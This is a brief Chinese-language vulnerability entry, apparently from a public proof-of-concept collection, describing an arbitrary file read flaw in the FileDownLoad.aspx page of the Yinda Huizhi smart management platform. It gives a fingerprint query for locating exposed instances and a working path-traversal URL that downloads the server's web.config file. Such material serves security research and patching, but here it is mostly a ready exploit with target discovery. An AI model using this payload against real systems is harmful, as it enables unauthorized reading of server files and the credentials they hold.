银达汇智 智慧综合管理平台 FileDownLoad.aspx 任意文件读取漏洞¶

漏洞描述¶

银达汇智 智慧综合管理平台 FileDownLoad.aspx 存在任意文件读取漏洞，通过漏洞攻击者可下载服务器中的任意文件

漏洞影响¶

银达汇智 智慧综合管理平台

网络测绘¶

"汇智信息" && title="智慧综合管理平台登入"

漏洞复现¶

登陆页面

验证POC

http://xxx.xxx.xxx.xxx/Module/FileManagement/FileDownLoad.aspx?filePath=../../web.config